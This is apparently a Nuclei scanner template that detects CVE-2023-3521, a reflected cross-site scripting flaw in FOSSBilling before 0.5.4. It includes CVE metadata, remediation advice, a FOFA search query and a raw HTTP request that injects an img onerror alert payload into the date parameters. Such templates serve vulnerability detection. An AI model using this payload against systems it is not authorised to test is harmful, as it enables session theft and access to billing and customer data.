id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.
  remediation: |
    Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
    epss-score: 0.00919
    epss-percentile: 0.56767
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss,vuln

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201e9a04c4c2845ff5c35dd272700e3998c753f3499ba8e33d86dfecac80358c11022100dbb8eea524a4091bbbe60694a68b522a6643da30086bb113cfdf836675305c4b:922c64590222798bb761d5b6d8e72950